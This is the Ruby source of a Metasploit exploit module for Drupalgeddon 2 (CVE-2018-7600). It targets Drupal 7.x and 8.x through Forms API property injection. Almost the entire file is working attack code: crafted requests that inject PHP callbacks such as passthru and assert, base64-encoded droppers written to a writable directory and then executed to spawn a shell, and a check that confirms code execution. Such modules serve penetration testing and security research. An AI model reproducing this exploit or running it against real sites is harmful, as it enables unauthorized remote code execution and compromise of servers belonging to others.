## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Drupal # XXX: CmdStager can't handle badchars include Msf::Exploit::PhpEXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super(update_info(info, 'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection', 'Description' => %q{ This module exploits a Drupal property injection in the Forms API. Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable. }, 'Author' => [ 'Jasper Mattsson', # Vulnerability discovery 'a2u', # Proof of concept (Drupal 8.x) 'Nixawk', # Proof of concept (Drupal 8.x) 'FireFart', # Proof of concept (Drupal 7.x) 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2018-7600'], ['URL', 'https://www.drupal.org/sa-core-2018-002'], ['URL', 'https://greysec.net/showthread.php?tid=2912'], ['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'], ['URL', 'https://github.com/a2u/CVE-2018-7600'], ['URL', 'https://github.com/nixawk/labs/issues/19'], ['URL', 'https://github.com/FireFart/CVE-2018-7600'] ], 'DisclosureDate' => '2018-03-28', 'License' => MSF_LICENSE, 'Platform' => ['php', 'unix', 'linux'], 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Payload' => {'BadChars' => '&>\''}, 'Targets' => [ # # Automatic targets (PHP, cmd/unix, native) # ['Automatic (PHP In-Memory)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php_memory ], ['Automatic (PHP Dropper)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php_dropper ], ['Automatic (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory ], ['Automatic (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper ], # # Drupal 7.x targets (PHP, cmd/unix, native) # ['Drupal 7.x (PHP In-Memory)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Version' => Rex::Version.new('7'), 'Type' => :php_memory ], ['Drupal 7.x (PHP Dropper)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Version' => Rex::Version.new('7'), 'Type' => :php_dropper ], ['Drupal 7.x (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Version' => Rex::Version.new('7'), 'Type' => :unix_memory ], ['Drupal 7.x (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Version' => Rex::Version.new('7'), 'Type' => :linux_dropper ], # # Drupal 8.x targets (PHP, cmd/unix, native) # ['Drupal 8.x (PHP In-Memory)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Version' => Rex::Version.new('8'), 'Type' => :php_memory ], ['Drupal 8.x (PHP Dropper)', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Version' => Rex::Version.new('8'), 'Type' => :php_dropper ], ['Drupal 8.x (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Version' => Rex::Version.new('8'), 'Type' => :unix_memory ], ['Drupal 8.x (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Version' => Rex::Version.new('8'), 'Type' => :linux_dropper ] ], 'DefaultTarget' => 0, # Automatic (PHP In-Memory) 'DefaultOptions' => {'WfsDelay' => 2}, # Also seconds between attempts 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [], 'Reliability' => [], 'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']} )) register_options([ OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']), OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false]) ]) register_advanced_options([ OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp']) ]) end def check checkcode = CheckCode::Unknown @version = target['Version'] || drupal_version unless @version vprint_error('Could not determine Drupal version to target') return checkcode end vprint_status("Drupal #{@version} targeted at #{full_uri}") checkcode = CheckCode::Detected changelog = drupal_changelog(@version) unless changelog vprint_error('Could not determine Drupal patch level') return checkcode end case drupal_patch(changelog, 'SA-CORE-2018-002') when nil vprint_warning('CHANGELOG.txt no longer contains patch level') when true vprint_warning('Drupal appears patched in CHANGELOG.txt') checkcode = CheckCode::Safe when false vprint_good('Drupal appears unpatched in CHANGELOG.txt') checkcode = CheckCode::Appears end # NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable token = rand_str res = execute_command(token, func: 'printf') return checkcode unless res if res.body.start_with?(token) vprint_good('Drupal is vulnerable to code execution') checkcode = CheckCode::Vulnerable end checkcode end def exploit unless @version print_warning('Targeting Drupal 7.x as a fallback') @version = Rex::Version.new('7') end if datastore['PAYLOAD'] == 'cmd/unix/generic' print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic') # XXX: Naughty datastore modification datastore['DUMP_OUTPUT'] = true end # NOTE: assert() is attempted first, then PHP_FUNC if that fails case target['Type'] when :php_memory execute_command(payload.encoded, func: 'assert') sleep(wfs_delay) return if session_created? # XXX: This will spawn a *very* obvious process execute_command("php -r '#{payload.encoded}'") when :unix_memory execute_command(payload.encoded) when :php_dropper, :linux_dropper dropper_assert sleep(wfs_delay) return if session_created? dropper_exec end end def dropper_assert php_file = Pathname.new( "#{datastore['WritableDir']}/#{rand_str}.php" ).cleanpath # Return the PHP payload or a PHP binary dropper dropper = get_write_exec_payload( writable_path: datastore['WritableDir'], unlink_self: true # Worth a shot ) # Encode away potential badchars with Base64 dropper = Rex::Text.encode_base64(dropper) # Stage 1 decodes the PHP and writes it to disk stage1 = %Q{ file_put_contents("#{php_file}", base64_decode("#{dropper}")); } # Stage 2 executes said PHP in-process stage2 = %Q{ include_once("#{php_file}"); } # :unlink_self may not work, so let's make sure register_file_for_cleanup(php_file) # Hopefully pop our shell with assert() execute_command(stage1.strip, func: 'assert') execute_command(stage2.strip, func: 'assert') end def dropper_exec php_file = "#{rand_str}.php" tmp_file = Pathname.new( "#{datastore['WritableDir']}/#{php_file}" ).cleanpath # Return the PHP payload or a PHP binary dropper dropper = get_write_exec_payload( writable_path: datastore['WritableDir'], unlink_self: true # Worth a shot ) # Encode away potential badchars with Base64 dropper = Rex::Text.encode_base64(dropper) # :unlink_self may not work, so let's make sure register_file_for_cleanup(php_file) # Write the payload or dropper to disk (!) # NOTE: Analysis indicates > is a badchar for 8.x execute_command("echo #{dropper} | base64 -d | tee #{php_file}") # Attempt in-process execution of our PHP script send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, php_file) ) sleep(wfs_delay) return if session_created? # Try to get a shell with PHP CLI execute_command("php #{php_file}") sleep(wfs_delay) return if session_created? register_file_for_cleanup(tmp_file) # Fall back on our temp file execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}") execute_command("php #{tmp_file}") end def execute_command(cmd, opts = {}) func = opts[:func] || datastore['PHP_FUNC'] || 'passthru' vprint_status("Executing with #{func}(): #{cmd}") res = case @version.to_s when /^7\b/ exploit_drupal7(func, cmd) when /^8\b/ exploit_drupal8(func, cmd) end return unless res if res.code == 200 print_line(res.body) if datastore['DUMP_OUTPUT'] else print_error("Unexpected reply: #{res.inspect}") end res end def exploit_drupal7(func, code) vars_get = { 'q' => 'user/password', 'name[#post_render][]' => func, 'name[#markup]' => code, 'name[#type]' => 'markup' } vars_post = { 'form_id' => 'user_pass', '_triggering_element_name' => 'name' } res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'vars_get' => vars_get, 'vars_post' => vars_post ) return res unless res && res.code == 200 form_build_id = res.get_html_document.at( '//input[@name = "form_build_id"]/@value' ) return res unless form_build_id vars_get = { 'q' => "file/ajax/name/#value/#{form_build_id.value}" } vars_post = { 'form_build_id' => form_build_id.value } send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'vars_get' => vars_get, 'vars_post' => vars_post ) end def exploit_drupal8(func, code) # Clean URLs are enabled by default and "can't" be disabled uri = normalize_uri(target_uri.path, 'user/register') vars_get = { 'element_parents' => 'account/mail/#value', 'ajax_form' => 1, '_wrapper_format' => 'drupal_ajax' } vars_post = { 'form_id' => 'user_register_form', '_drupal_ajax' => 1, 'mail[#type]' => 'markup', 'mail[#post_render][]' => func, 'mail[#markup]' => code } send_request_cgi( 'method' => 'POST', 'uri' => uri, 'vars_get' => vars_get, 'vars_post' => vars_post ) end def rand_str Rex::Text.rand_text_alphanumeric(8..42) end end